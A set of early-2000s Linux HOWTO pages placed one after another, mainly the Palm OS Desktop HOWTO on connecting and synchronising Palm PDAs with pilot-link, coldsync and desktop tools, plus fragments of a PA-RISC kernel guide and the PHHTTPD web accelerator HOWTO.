As you see, menus about HP hardware are not numerous but there is a lot of dependency between them. Now, you must configure accordingly to the use you will do of the box. Here is the list of some menus you should be going in to configure the services you want:

  • General setup is responsible for binary formats

  • Parallel port support gives you the choice to deactivate parallel port

  • Block devices set on the ramdisk and loopback support. You probably won't use them.

  • File Systems/Network File Systems is where to go to unset NFS support

Once this is done, save your configuration. Everything is written in the .config file. You can backup it because a make distclean will remove it. At this stage, you do make dep vmlinux and if everything goes fine, you have a new kernel.

4.3. Kernel installation

If you made a native build, you backup the last working kernel with an extension like ".bk" and you copy the recent kernel with the same name. You reboot and try the new one. If it is not working, you can reboot and using PALO command, you change the name of th kernel you want to boot. ( See next section for more informations )

If you are booting via network, you need to set PALO as it is explained in the next section and run make palo

Prev | Home | Next
Preparing to boot |  | Booting your PA-RISC/Linux system via PALO, the kernel loader


Appendix

Palm OS Desktop HOWTO
Prev Next

A. Appendix

Prev | Home | Next
Other Software |  | Resources


Desktop Applications.

Palm OS Desktop HOWTO
Prev Next

5. Desktop Applications.

This section describes applications which can synchronise their data with your PDA. The applications generally use pilot-link to provide communication with the PDA. Coldsync provides conduit capabilities to application that are not specifically written with PDAs in mind.

5.1. JPilot

JPilot is a Personal Information Manager (PIM) that provides a replacement for the Palm Desktop software provided for Windows and the Mac. JPilot provides desktop versions of the Palm address book, todo list, calendar and memopad. JPilot can also be used to install applications onto the PDA.

JPilot is available with most Linux distributions. You can also download JPilot from http://www.jpilot.org. To use JPilot you must have pilot-link installed. As JPilot is a gtk+ application, you will also need gtk+.

5.2. Gnome-pilot

Gnome-pilot aims to provide PDA connectivity for the Gnome desktop. Gnome-pilot provides conduits for the Gnome PIM applications, a control centre applet for configuring the link, and a panel applet for dislaying the hotsync status.

Gnome-pilot uses a daemon process to communicate with the PDA via pilot-link. Client applications use the daemon, rather than call pilot-link directly. The daemon must be running in order to use the client applications such as the conduits.

Gnome-pilot should be available as part of Gnome. The home page for the project is at http://www.gnome.org/projects/gnome-pilot/.

Gnome-pilot configuration is done through the Gnome control centre. If you have gnome-pilot installed, you should have a "Pilot Link" section under the peripherals section of the control centre.

5.2.1. The Pilot Link Applet

The Gnome control panel Pilot Link applet allows you to configure your PDA for use with Gnome. You must set up your PDA before you can use any of the Gnome conduits.

The first step is to add a device. Start the Gnome control centre, and click on "Pilot Link" in the left hand pane. The right hand pane should show the pilot link applet.

  • Click on the devices tab, then click "Add". You should see the "Device Settings" dialog box.

  • The "Name" field can contain anything to help you identify the port that you create.

  • The "Port" field should contain the port to which you attach your PDA. The port should be the same as you use for pilot-link.

  • The speed and timeout values will depend on your device. Try the defaults, and change them if you have problems synchronising.

  • The "Type" should be set to your device type.

Once you have configured the device, you can configure the actual PDA:

  • Click on the "Pilots" tab, then click on "Add...". You should then see the "Pilot Settings" dialog box.

  • If you already have a user name set up on the PDA, click "Get from pilot" to download the username and ID. Otherwise, click "Send to pilot" to set up your username on the PDA.

  • The "Pilot Attributes" allow you to name your PDA and set a local directory to use for the conduits.

  • The "Sync action" determines what happens when you press the hotsync button on your PDA. The default is "Use conduit settings". This allows you to customise set different sync actions for each conduit.

Once you have configured your PDA, you need to configure the conduits.

5.2.2. The Pilot Conduits Applet

Start the Gnome control centre, then click on "Pilot Conduits" in the left hand pane. If you have a PDA configured in the pilot link applet, you will see a list of available conduits. If you have more than one PDA, you can use the drop down list to select the one that you wish to configure.

Each available conduit starts out disabled. To enable a conduit, select it in the list and click on "Enable". You will then be given a choice of methods for synchronisation.

5.3. Evolution

Evolution is a Microsoft Outlook clone for Gnome from Ximian. Evolution comes with a conduit for gnome-pilot. The conduit can be configured through the gnome-pilot conduits control centre applet described above.

Warning: Mandrake 8.1 comes with a beta version of Evolution. This version seems to have a bug whereby it does not correctly identify records when synching. This can lead to records being duplicated on the PDA.

The latest version of Evolution can be downloaded from http://www.ximian.com. Evolution is designed mainly for use with Ximian Gnome, and installing it independently involves resolving a number of dependencies.

5.4. KPilot

KPilot is the KDE equivalent of Gnome-pilot. KPilot provides basic PIM functionality, as well as conduits to KDE applications such as KOrganizer.

As with gnome-pilot, kpilot uses a pilot-link via a daemon process.

KPilot is available from http://www.slac.com/pilone/kpilot_home

TODO: Again, I don't really use KDE, but will give it a spin.

5.5. XNotesPlus

XNotesPlus provides a means to post small notes on your X-Windows desktop. These notes can be shared as memos with your PalmOS device.

In addition to the notes, XNotesPlus provides PIM features, and integrates the notes feature with the todo list and addressbook. Note that XNotesPlus does not perform a true synchronisation, but simply replaces changed databases.

The XNotesPlus web page at http://www.graphics-muse.org/xnotes/xnotes.html contains full installation and use instructions.

XNotes is shareware, and not freely distributable.

5.6. WMSync

If you use WindowMaker, this might be useful. From the website:

Wmsync is a WindowMaker dockapp that starts your favourite sync program for your Palm(TM) PDA. It displays a small animation when syncing. It is controlled by a small perl script via SIGUSR1 and SIGUSR2 so it is highly customizable. That´s all.

Wmsync is available from http://home.t-online.de/home/db7ne/wmsync.html

Prev | Home | Next
Coldsync |  | Other Software


Coldsync

Palm OS Desktop HOWTO
Prev Next

4. Coldsync

Coldsync is an alternative to the pilot-link suite for transferring data to and from your PalmOS device. Like pilot-link, it can synchronise, backup and restore Palm databases.

There are fewer applications available which use coldsync as their backend. That may change, but it seems to reflect a difference in philosophy between coldsync and pilot-link. Applications that sync using pilot-link tend to build in the functionality for synchronisation. It is therefore the author of the application that decides to include pilot-link support.

Coldsync takes a different approach. Conduits can be written to use coldsync with almost any application. The synchronisation process can be entirely transparent to the application. If the application author is not interested in adding PDA support, it does not matter. As long as the data format of the application is available, someone else can write the conduit.

4.1. Installing coldsync

Some Linux distributions are carrying coldsync, but it is not yet as widely available as pilot-link. It is also a younger application, so you are more likely to need to compile from source.

You can find the latest release of coldsync at www.ooblick.com/software/coldsync. As well as the current version, you will find a link to the latest CVS snapshot.

Once you have the downloaded the source, compile it as follows:

tar -xvzf
colsync-2.2.5.tar.gz
cd coldsync-2.2.5
./configure
make
make install

You can run coldsync directly from the src directory. For more information, see the README file that comes with coldsync.

4.2. Using coldsync

4.2.1. The .coldsyncrc file

By default, coldsync reads configuration parameters from a file called .coldsyncrc in your home directory. The -f flag overrides the default if you need to use an alternative configuration file. In addition, some of the parameters in the configuration file can be set or overridden on the command line.

The following is an example of a .coldsyncrc file:

listen serial {
    device: "/dev/palm";
    protocol: default;
    transient;
}

pda "My Palm" {
    snum: "L0PK17C13832-M";
    username: "Sean";
    userid: 1234;
    directory:
    "/home/sean/m505";
    default;
}

This example tells coldsync to look for a serial port connection on /dev/palm. The transient keyword tells coldsync that the device may not exist until the user presses the Hotsync button. The pda section tells coldsync the serial number of the device, the username and id of the user and the directory to which the device will be backed up.

The coldsync configuration file is well documented in the man page (man coldsync), but it is worth repeating some points:

  • Do not use a userid of 0 in your PDA section. This can lead to a loss of data if you need to perform a hard reset of your Palm.

  • If you have a Palm m505 with a USB cradle under Linux, you should not use listen usb. Instead use listen serial with protocol: simple;

4.2.2. The p5-Palm Perl modules

P5-Palm is a set of Perl modules for communicating with a Palm device via coldsync, and can be downloaded from the coldsync site. The purpose of the p5-Palm modules is to simplify and speed up the creation of conduits.

You should install p5-Palm if you want to use any of the coldsync conduits. You do not need p5-Palm if you will only be using coldsync for simple backups.

To install the modules:

tar -zxvf p5-Palm-1.2.4.tar.gz
cd p5-Palm-1.2.4
perl Makefile.PL
make
make install

4.2.3. Coldsync conduits

A number of conduits are available for coldsync. These conduits use coldsync to synchronise other applications with your PDA. The conduits generally require the p5-Palm Perl modules described above.

The list of conduits is available at http://www.ooblick.com/software/coldsync/conduits/.

The conduits require an entry in your .coldsyncrc configuration file. To find out what should be entered, run /path/conduit -config, where path is the location of the conduit.

Prev | Home | Next
The pilot-link suite |  | Desktop Applications.


Devices that use the Palm OS

Palm OS Desktop HOWTO
Prev A. Appendix Next

A.2. Devices that use the Palm OS

This is an overview of the range of devices that work with the software detailed in this HOWTO.

A.2.1. Palm

  • Pilot 1000, 5000, PalmPilot Personal, PalmPilot Pro. The original Palm PDAs, no longer in production. These should work over a serial port connection.

  • Palm IIIe, IIIx, IIIxe, IIIc. The III series, again no longer in production. These should work over a serial port connection. The first colour Palm, the IIIc, had an optional USB connection, but the serial interface is required for Linux.

  • Palm V, Vx. The V series, again no longer in production. These introduced the IR interface, and it should be possible to synch them via an IR port on a suitably equipped PC. They also work over the serial port connection.

  • Palm VII, VIIx. The VII series, again no longer in production. These introduced the built in wireless connection. They feature an optional USB connection, but the serial interface is required for Linux.

  • Palm VII, VIIx. The VII series, again no longer in production. These introduced the built in wireless connection. They feature an optional USB connection, but the serial interface is required for Linux.

  • Palm m100, m105. The current entry level Palm PDAs. These should work over a serial port connection.

  • Palm m500, m505. The latest version of the IR connection enabled Palm. They come with USB cradles as standard, and should synch over USB. An optional serial cable is available if USB synchronisation is not possible,

  • Palm i705. The latest Palm with wireless network connection capability. It synchronises via USB. No reports yet on whether it works with Linux over USB.

A.2.2. Handspring

  • Visor. The Handspring Visor series of PDAs come with USB cradles. Serial cables are also available. USB is better supported under Linux for the Visor than for Palm PDAs, so USB should work with few problems.

A.2.3. Sony

  • Clie. Sony's higher resolution version of the Palm PDA.

Prev | Home | Next
Resources | Up | A History of Palm OS devices.


A History of Palm OS devices.

Palm OS Desktop HOWTO
Prev A. Appendix

A.3. A History of Palm OS devices.

This section is included unchanged from the original document. It's clearly out of date, and I'm not sure if it's worth keeping in. It's a bit offtopic for a Linux howto, and the effort of keeping it current seems a bit pointless. Instead I've added a section detailing devices that use the Palm operating system, and which therefore should work with the instructions in this HOWTO.

There are two versions of the Pilot. They are the 1000 and the 5000 and have 128k and 512k of RAM, respectively. They come with Palm OS 1.0 in ROM.

Then came two devices with the name PalmPilot. They are the PalmPilot Personal and the PalmPilot Professional and have 512k and 1 Meg of RAM, respectively. They also have a backlighting feature for the LCD panel and version 2.0 of the operating system. The Professional also comes with a TCP/IP stack and a few extra programs built-in.

IBM has released a rebadged version of the PalmPilot Professional, which they call a WorkPad.

Now we have the Palm III, which has a redesigned case and an infrared port, not to mention the 2 Meg of RAM and Palm OS 3.0.

There is an announced product from Qualcomm, called the pdQ smartphone, which is a cell phone that incorporates a Palm OS PDA. Don't get all excited about it yet, it will not be released until sometime in 1999.

It is possible to upgrade any Pilot by swapping out the memory card, which includes both RAM & ROM. Of course, this doesn't get you backlighting for the original Pilot series.

Prev | Home
Devices that use the Palm OS | Up


Palm OS Desktop HOWTO

Sean Buckley

sean@redbug.uklinux.net

David H. Silber palm@orbits.com - Original version

v2.0.1, 03 March 2002

This HOWTO describes the use of Palm OS devices with Linux. Most of the advice is applicable to any version of the Palm PDA, and also to other devices that use the Palm OS, such as the Handspring Visor and Sony Clie. Many of the tools described here will also work with other types of Unix, such as FreeBSD.

NOTE: this is a work in progress. There's a lot more I want to write, and I've noted areas that need work (look for TODO in the text). This version is very much an early draft to get the ball rolling. I would especially appreciate feedback from users of other combinations of PDA and Linux distribution (I currently use an m505 with Mandrake 8.1).

Table of Contents
1. Introduction
1.1. DISCLAIMER
1.2. New versions of this document
1.3. Major Changes
1.4. Copyright and Licensing
2. Connecting to the PC
2.1. Serial Connection
2.2. Devfs device naming
2.3. USB Connection
2.4. IR Connection
2.5. Network Connection
3. The pilot-link suite
3.1. Installing the pilot-link software
3.2. Using the pilot-link software
4. Coldsync
4.1. Installing coldsync
4.2. Using coldsync
5. Desktop Applications.
5.1. JPilot
5.2. Gnome-pilot
5.3. Evolution
5.4. KPilot
5.5. XNotesPlus
5.6. WMSync
6. Other Software
6.1. The Pyrite Project
6.2. MalSync
6.3. PalmPix Decoder
A. Appendix
A.1. Resources
A.2. Devices that use the Palm OS
A.3. A History of Palm OS devices.
Next
Introduction


Introduction

Palm OS Desktop HOWTO
Prev Next

1. Introduction

This document describes how to connect your PalmOS PDA to a computer running Linux, and synchronise the PDA data with local applications.

1.1. DISCLAIMER

As always with information you read on the net, proceed with caution. Most of the information in this HOWTO has been tested with the devices to which I have access; an original Palm Pilot Pro and a new Palm m505. I have tried to indicate instances where I have not been able to test the information.

If you have access to Windows or a Mac, I would recommend backing up your PDA with the provided software before testing it under Linux. Otherwise, take a backup with the Linux software before attempting to synchronise.

1.2. New versions of this document

The latest "work in progress" version of this document can be found at http://www.redbug.uklinux.net/palm/index.html.

1.3. Major Changes

This document was originally called the Palm Howto. Major changes are detailed below.

Revision History
Revision 2.0.1 | 2002-03-03
Added info about various software that I hadn't even heard of before I got feedback from 2.0.0.
Revision 2.0.0 | 2002-01-06
Major rewrite to include USB connections and recent PalmOS devices
Revision 1.1.1 | 1999-02-28
Last version maintained by David Silber.

1.4. Copyright and Licensing

This document is copyright © 2001 Sean Buckley and copyright © 1997, 1998 & 1999 David H. Silber.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. The full text of the license can be found at http://www.gnu.org/copyleft/fdl.html

Prev | Home | Next
Palm OS Desktop HOWTO |  | Connecting to the PC


Other Software

Palm OS Desktop HOWTO
Prev Next

6. Other Software

6.1. The Pyrite Project

Pyrite Publisher is a tool to convert documents to and from the Doc format used by electronic books for the Palm PDA. Compressed zTXT files are also supported. Pyrite Publisher is written in Python, with an optional module in C for enhanced data compression performance.

The library used to communicate with the Palm is available separately, as python-libpisock. The library is a python binding for the pilot-unix libpisock library.

Pyrite is available from http://www.pyrite.org

6.2. MalSync

Malsync is a command line tool for synchronising Palm PDAs with the AvantGo server. AvantGo is a - well, you'll know what it is if you use it. Unfortunately the website is a masterpiece of marketspeak.

Malsync is available from http://www.tomw.org/malsync

6.3. PalmPix Decoder

The PalmPix decoder extracts pictures from a PalmPix database. The PalmPix is a digital camera attachment for Palm PDAs.

The PalmPix decoder is available from http://www.geocities.com/aa_soft/PalmPix.html

Prev | Home | Next
Desktop Applications. |  | Appendix


Connecting to the PC

Palm OS Desktop HOWTO
Prev Next

2. Connecting to the PC

The first step to getting your PDA running under Linux is to connect it to your PC. Until recently, all PalmOS devices connected via a serial cable. The latest devices use USB, and some can also connect via infrared.

Another development allows the PDA to physically connect to one machine on the network and synchronise remotely with another machine.

2.1. Serial Connection

The serial connection is currently the easiest way to connect your PDA to your PC. Simply connect the cradle to a serial port, then refer to that port when using coldsync or the pilot-link suite. The serial connection is slow, but has the advantage of being tried and tested. It should work with any Palm OS device for which a serial cable is available. Serial cradles and cables are available as accessories for the Palm PDAs, including those which come with USB cradles as standard.

For convenience, you may wish to create a device called /dev/pilot as a link to the serial port. The pilot-link suite uses this device by default, so if the link exists it will save you having to specify it each time you call one of the programs.

To create the link, log on as root and enter the following command:

ln -s /dev/ttyS0 /dev/pilot

Replace /dev/ttyS0 with the serial port to which you have connected the your PDA. The device name /dev/ttyS0 corresponds to COM1 in DOS/Windows terminology, /dev/ttyS1 is COM2, and so on.

You also need to ensure that you have permission to write to the serial port. On a standalone workstation you can change the permissions to allow global access to the port. As root, enter the following command:

chmod a+rw /dev/ttyS0

Greater security can be achieved using the group permissions. Set the permissions to read/write for the group and add the required users to the user list for the group (see man group). (TODO: More detail).

2.2. Devfs device naming

Recent Linux distributions may use devfs for device naming. In this case /dev/ttyS0 may not exist, or may be a symbolic link to /dev/tts/0. This is a new naming scheme brought in with the 2.4 kernel. Simply replace all references to /dev/ttyS0 with /dev/tts/0.

If you use symbolic links with devfs, you may find that the links do not persist correctly after you reboot. The /etc/devfsd.conf file controls the creation of symbolic links to dynamically created devices.

As always, the operation seems to be set up differently under different distributions.

  • Manrake 8.1 creates a link from /dev/usb/tts/1 to /dev/pilot when the hotsync button is pressed on the cradle.

  • RedHat 7.2 requires the link to be created manually. The link is then persistent across boots (thanks to Jim Mueller for this information).

2.3. USB Connection

USB access to Palm devices is relatively new. The Handspring Visor seems to be well supported, and works with the pilot-link suite. Currently, the Palm m500 series only works with coldsync, although pilot-link support is in active development. Update: the current development version of pilot-link, 0.10.x, has support for USB devices. See the pilot-link section for more about this release.

To use any USB device under Linux, you need to have USB support in your kernel. You will also need the relevant modules available. Most (TODO: Check which distros work out of the box) recent Linux distributions have USB support enabled by default. To check your system, try the following command as root:

modprobe visor

If you get no output from this command, then the module is available and you do not need to recompile your kernel. If this does not work, try the alternative usbserial module:

modprobe usbserial

This is used by some distributions, such as Redhat 7.0.

If you need to set up USB support in your kernel, the Handspring Visor with Linux mini-HOWTO provides instructions. (TODO: Incorporate into this HOWTO?)

Once USB support is set up, you should use device /dev/ttyUSB1 to communicate with your PDA. Note that this device name only exists after you have pressed the hotsync button on the cradle. You must press the button before running the connection software.

If you have problems synchronising via USB, try an updated kernel. There may be some timing issues with the USB driver. For example, I found that stock Mandrake 8.1 did not work on one PC, but worked first time on a faster PC. Upgrading to a stock 2.4.17 kernel solved the problem and worked fine on both PCs.

2.4. IR Connection

The latest Palm devices have infrared (IrDA) ports. If you have one of these, and a PC with an infrared port, you can synchronise over IrDA and do away with the cables altogether.

David A. Desrosiers has written a comprehensive HOWTO on the subject. (TODO: Include this inline?)

2.5. Network Connection

It is possible to physically connect your PDA to one PC, and synchronise it with another PC elsewhere on the network. This might be a useful feature if you need to synchronise with a PC to which you cannot physically connect your PDA.

Once again David A. Desrosiers has written a (less comprehensive) HOWTO on the subject. (TODO: Include this inline? Not convinced of the value of this method - anyone care to comment?)

Prev | Home | Next
Introduction |  | The pilot-link suite


The pilot-link suite

Palm OS Desktop HOWTO
Prev Next

3. The pilot-link suite

The pilot-link suite provides the tools for communicating with your PDA. The pilot-link programs provide the background functionality for many higher level programs, but can also be used on their own as command line tools.

Most distributions come with the pilot-link suite available as an optional package. The package will be available on the installation media or from the ftp site of the distribution. Install the package in the usual way for your distribution. You may also need development versions of the packages if you wish to compile any software that uses pilot-link.

Note: Unless otherwise specified, the details below refer to the 0.9.x release of pilot-link. The version in development is 0.10.x. This version contains support for USB devices, and has been updated to ensure greater consistency between the various utilities. Once 0.10.x is officially released, this document will be updated for the new version.

If you upgrade to 0.10.x, you will also need to update applications which use pilot-link. In particular, J-Pilot and gnome-pilot need modifications to work with 0.10.x. J-Pilot 0.99.2 should work with the latest version of pilot-link.

3.1. Installing the pilot-link software

The pilot-link suite comes with most major Linux distributions, including RedHat, Mandrake, SUSE and Debian. If you intend to compile applications which rely on pilot-link, you may need to install development packages as well.

If you use a distribution that does not come with pilot-link, or you need a more recent version, you can find the latest release at www.pilot-link.org. As well as the current version, you will find a link to the latest CVS snapshot.

Once you have the downloaded the source, unpack and compile it as follows:

tar -zxvf pilot-link.0.9.5.tar.gz cd pilot-link.0.9.5
./configure
make
make install

The programs can be run directly from the directory in which they were compiled. You may wish to test them before running make install. For more information, see the README file that comes with pilot-link.

3.2. Using the pilot-link software

Most of the programs in the pilot-link suite are conduits, that is they transfer data into or out of your Palm OS device.

Each time you use of one of the programs, press the HotSync button on your PDA's cradle. This will initiate the PDA side of the data transfer. Note that not all of these programs prompt you to press the `HotSync' button, so you may have to remember to do it yourself.

For more details, view the corresponding manual page. There is an overview manual page under the name pilot-link.

The pilot-link programs all use the same method of determining the location of your PDA:

  • If a device is specified on the command line, that device will be used regardless of the other settings.

  • If the environment variable $PILOTPORT is set, that will be used unless a port is specified on the command line.

  • If no port is specified on the command line, and the $PILOTPORT variable is not set, /dev/pilot will be used.

3.2.1. pilot-xfer

Possibly the most useful program in the pilot-link suite, pilot-xfer allows you to install programs on your Palm OS device, make a backup, and restore that backup.

To install a program:

pilot-xfer /dev/pilot -i program.prc

To backup your Palm OS device:

pilot-xfer /dev/pilot -b backup-directory

This will copy all of the databases on your Palm OS device, (including programs?) to a directory called ``backup-directory'', creating it if it does not already exist.

To restore data to Palm OS device:

pilot-xfer /dev/pilot -r backup-directory

Generally, you will only need to do this if your Palm OS device loses power or if you have to do a hard reset.

To list the programs on your Palm OS device:

pilot-xfer /dev/pilot -l

3.2.2. install-memo

To install a memo into your (already existing) project category:

install-memo /dev/pilot -c project project.memo

The name of the file will be inserted into the memo as its first line and will appear in the directory of memos on your Palm OS device.

3.2.3. memos

This program grabs each memo from the Palm OS device and prints it out in standard mailbox format.

To view your memos:

memos /dev/pilot

3.2.4. pilot-addresses

Transfer the address database to or from your PDA.

To write your address data to a Linux file from your PDA:

pilot-addresses /dev/pilot -w storage.file

To read your address data from a Linux file onto your PDA:

pilot-addresses /dev/pilot -r file

Prev | Home | Next
Connecting to the PC |  | Coldsync


Resources

Palm OS Desktop HOWTO
Prev A. Appendix Next

A.1. Resources

Information resources for Linux/Palm applications

A.1.1. Pilot-link

  • Website http://www.pilot-link.org

  • General mailing list http://www.pilot-link.org/mailman/listinfo/pilot-link-general/ .General discussions about pilot-link, conduit ideas, wish list items and anything else.

  • General mailing list archive http://www.pilot-link.org/pipermail/pilot-link-general/

  • Announcement mailing list http://www.pilot-link.org/mailman/listinfo/pilot-link-announce/ . Announcements for pilot-link releases, conduits, third-party tools and applications.

  • Announcement mailing list archive http://www.pilot-link.org/pipermail/pilot-link-announce/

  • Development mailing list http://www.pilot-link.org/mailman/listinfo/pilot-link-devel/ . Development list for pilot-link code, releases, patches, conduits, bugs, testing.

  • Development mailing list archive http://www.pilot-link.org/pipermail/pilot-link-devel/

  • "Next Generation" pilot-unix mailing list http://www.pilot-link.org/mailman/listinfo/pilot-unix-ng/ . Development list for pilot-link code, releases, patches, conduits, bugs, testing.

  • "Next Generation" pilot-unix mailing list archive http://www.pilot-link.org/pipermail/pilot-unix-ng/ . Replaces the old pilot-unix list that is now offline.

A.1.2. Coldsync

  • Website: http://www.ooblick.com/software/coldsync

  • Mailing list: send an email to coldsync-hackers-request@lusars.net with the word subscribe in the body.

  • Mailing list archive: http://www.thedotin.net/maillists/coldsync-hackers

A.1.3. JPilot

  • Website: http://www.jpilot.org

  • Mailing list: send an email to listar@moongroup.com with the word subscribe in the subject.

  • Mailing list archive: http://www.moongroup.com/archives/jpilot

A.1.4. Gnome-pilot

  • Website: http://www.gnome.org/projects/gnome-pilot

  • Mailing list: http://mail.gnome.org/mailman/listinfo/gnome-pilot-list

  • Mailing list archive: http://mail.gnome.org/archives/gnome-pilot-list/

A.1.5. KPilot

  • Website: http://www.slac.com/pilone/kpilot_home

  • Mailing list: There is no specific KPilot list, but you can use the kde-pim list. To subscribe, send an email to kde-pim-request@kde.org with subscribe followed by your email address in the subject.

  • Mailing list archive: http://lists.kde.org/?l=kde-pim&r=1&w=2

A.1.6. Other resources

  • XNotesPlus website: http://www.graphics-muse.org/xnotes/xnotes.html

  • WMSync website: http://home.t-online.de/home/db7ne/wmsync.html

  • The Pyrite Project website: http://www.pyrite.org/

  • Malsync website: http://www.tomw.org/malsync/

  • PalmPix decoder website: http://www.geocities.com/aa_soft/PalmPix.html

Prev | Home | Next
Appendix | Up | Devices that use the Palm OS


Configuration File

PHHTTPD HTTP Accelerator HOWTO
Prev Next

3. Configuration File

3.1. Overview

phhttpd uses an XML config file format to express how it should behave while running. More information on XML may be found near http://www.w3.org/XML/

phhttpd's configuration centers around the concept of virtual servers. For us, a virtual server may be thought of as the merging of a document tree and the actions phhttpd takes while serving that content.

phhttpd.conf may be thought of as having two main sections. The global section, which defines properties that are consistent across the entire running phhttpd server, and multiple virtual sections that describe properties of that only apply to a virtual server. There will only be one global section while multiple virtual sections are allowed.

3.2. Global Config Section

The global section defines properties of the running server that don't apply to a single virtual server. It should be enclosed in

Global config entities

cache max=NUM

Sets the maximum number of cached responses that will be held in memory. Each cached responses holds a minimal amount of memory. More importantly, each cached response holds an open file descriptor to the file with real content and an mmap()ed region of that content. phhttpd will start pruning the cache when it notices either of these two resources coming under pressure, but has no way to easily deduce that its running low on memory. The administrator may set this value to set an upper bound on the number of responses to keep in memory.

control file=PATH

This specifies the file that will be used to talk with phhttpd_ctl.

globallog file=PATH

This specifies the file to which global messages will be logged.

mime file=PATH

This specifies the file that contains the mapping of file extensions to MIME types. It should be of the form:

text/sgml                       sgml sgm

video/mpeg                      mpeg mpg mpe

timeout inactivity=NUM

Controls various network connection timeouts. 'inactivity' sets the amount of time that a connection can be idle before phhttpd will forcibly disconnect it. inactivity defaults to 0, which lets the connections idle until TCP timeouts take effect.

sendfile

Enabling this option tells phhttpd to use sendfile() rather than write()ing from an mmap()ed region. Avoiding calling mmap() will shorten the amount of time it takes to build cached responses.

3.3. Virtual Servers

A Virtual Server can be thought of as the abstraction serving up a content tree ( "docroot" in Apache speak). There are a set of attributes that are used to define a virtual server. These attributes are used to decide which virtual server will process a client's request. Then there are attributes which define how the content is served.

A virtual server must have a docroot. The virtual tag in the config file has a docroot attribute that must be set.

<virtual docroot=PATH>

    ...

</virtual>
There can be as many virtual sections in the configuration file as one likes.

Global Config Entities

md5

This enables the generation of the Content-MD5: header. This greatly increases the cost of creating a cached response for this virtual, because the MD5 function must be applied to the entire content of the response. Once the response is created, though, there is no per-request overhead.

prepop

This will cause phhttpd to traverse the entire docroot at initialization time and prepare cached responses for all the files it finds. This happens in the back ground during normal operation, so there is no dramatic increase in the time it takes for phhttpd to start serving connections.

name

This tag surrounds the string that will be used to identify the server. This string will be compared to the Host: header given in the request from the client, or will be compared to the 'host part' of the full URL if that was given. This will be used in combination with the network address and port pair to determine if a request should be served by a virtual server.

listen v4=DOT.TED.QU.AD port=PORT

This virtual server will be chosen to serve an incoming request if that request was made to the network address specified in this entity. There can be as many of these as one likes in a given virtual server, and '*' may be specified for either parameter to indicate that all addresses or ports should match.

logs

The logs section of the virtual server define the per virtual log files that should be written to during operation. See the following section on logging.

Prev | Home | Next
Introduction |  | Logging


Copyright and License

PHHTTPD HTTP Accelerator HOWTO
Prev Next

1. Copyright and License

This document is copyright 2000 by Zach Brown, and 2001 by David C. Merrill. It is released under the GNU Free Documentation License, which is hereby incorporated by reference.

Prev | Home | Next
PHHTTPD HTTP Accelerator HOWTO |  | Introduction


PHHTTPD HTTP Accelerator HOWTO

Zach Brown

David C. Merrill

Copyright © 2000 by Zach Brown

Copyright © 2001 by David C. Merrill

2001-04-24

Revision History
Revision 1.1 | 2001-04-24 | Revised by: DCM
Converted to DocBook 4.1 article, with some minor language cleanup. Copyright passed from Zach Brown to David C. Merrill.
Revision 1.0 | 2000 | Revised by: ZB
Initial release.

This document explains the use of the phhttpd http server accelerator under Linux.

As of the later 2.3 kernels, and offically in 2.4 and later, the TUX http accelerator is included in the standard Linux kernel tree. Therefore, this document should be considered obsolete for most users.

Table of Contents
1. Copyright and License
2. Introduction
2.1. Architectural Overview
2.2. Supported Systems
3. Configuration File
3.1. Overview
3.2. Global Config Section
3.3. Virtual Servers
4. Logging
4.1. Overview
4.2. Configuration
4.3. Format and Strange Behaviour
5. Run Time Facilities
5.1. Overview
5.2. Log Rotating
5.3. Status Reporting
Next
Copyright and License


Introduction

PHHTTPD HTTP Accelerator HOWTO
Prev Next

2. Introduction

phhttpd is an HTTP accelerator. It serves fast static HTTP fetches from a local file-system and passes slower dynamic requests back to a waiting server. It features a lean networking I/O core and an aggressive content cache that help it perform its job efficiently.

2.1. Architectural Overview

phhttpd features a very slim I/O core. It does all its networking work using non-blocking system calls driven by whatever event model is most appropriate for the host operating system. This allows a single execution context to handle as many client connections as the event model dictates.

phhttpd's job is to serve static content as quickly as it possibly can. To do this it maintains a cache of content in memory. When a request is serviced, phhttpd saves a reference to the on disk content and whatever HTTP headers are dependent on the content. The next time a request for this content is received, phhttpd can service it very quickly. This cache can be prepopulated (populated at run time), or can be built dynamically as requests come in. Its size may also be capped by the administrator so that it doesn't overwhelm a system.

phhttpd is a threaded stand alone daemon. The number of threads is currently statically defined at run time. Incoming connections are evenly balanced among the running threads, regardless of what content they may be serving. Connections are served by the thread that accepted them until the transfer is done.

2.2. Supported Systems

phhttpd is currently only expected to build and run on Linux systems using glibc2.1 under a kernel that supports passing POLL* information over real-time SIGIO signals. This means later 2.3.x kernels or a 2.2.x kernel that has been patched.

I badly want this to change. If you're interested in doing porting work to other Operating Systems, please do let me know.

Prev | Home | Next
Copyright and License |  | Configuration File


Logging

PHHTTPD HTTP Accelerator HOWTO
Prev Next

4. Logging

"All kids love log!"

4.1. Overview

phhttpd maintains log buffers for each log it writes to. Logged events are put in these buffers at reporting time rather than being immediately written to disk. These logs are written as they are filled during normal operation, or at regular intervals. This greatly reduces the performance impact of keeping detailed logs.

4.2. Configuration

phhttpd keeps interesting logs on a virtual server granularity. You can specify which logs you wish to keep by including an entity in the log section of a virtual server for each source you wish to log. There is an entity for each source of logging, and attributes to that entity define where it is logged. It looks something like this:

<logs>

    <LOGSOURCE mode=OCTALMODE file=PATH>

    ...

</logs>

mode is the octal permissions mode of the file that is to be opened. As it is parsed by dumb routines, a leading 0 is highly recommended. file is the file to which the logged events will be written. The LOG_SOURCE is one of:

access | Successfully answered requests
agent | The value given in the 'User-Agent' HTTP request header
referer | The string given in the 'Referer' HTTP request header

4.3. Format and Strange Behaviour

phhttpd log entries are contained with a single line in a text file. They contain the time the log entry was written, an opaque token that is associated with the connection that caused the log entry, followed by the actual entry.

The contents of the 'referer' and 'agent' log entries is simply the string that was given with the header. The contents of the 'access' log is a little more interesting. It has the decoded relative URL that was asked for, followed by the total bytes that were transfered, and the time in seconds that it took to transfer.

387f7a45 387f7a45800210ac8910500 /index.html - 2132 0
is an entry from an 'access' log.

The first field is the time in seconds since the Unix epoch, a.k.a. time_t. The second field is associated with the client connection that caused the log entry. It is constant for the duration of the connection, and is written to all the logs entries, of whatever type, that are generated. This allows a log parser to do more complete connection granularity analysis. As it happens, this opaque token is currently built up of the time the client was connected, its remote and local network address, etc, but these values most _not_ be parsed as they may change in the future.

Entries generated by a thread will be written in chronological order. If, however, multiple threads are sharing an output file the resulting entries may not be written in chronological order. It is up to the parsing programs to use the 'time' field to sort by, if they care about chronological order.

Prev | Home | Next
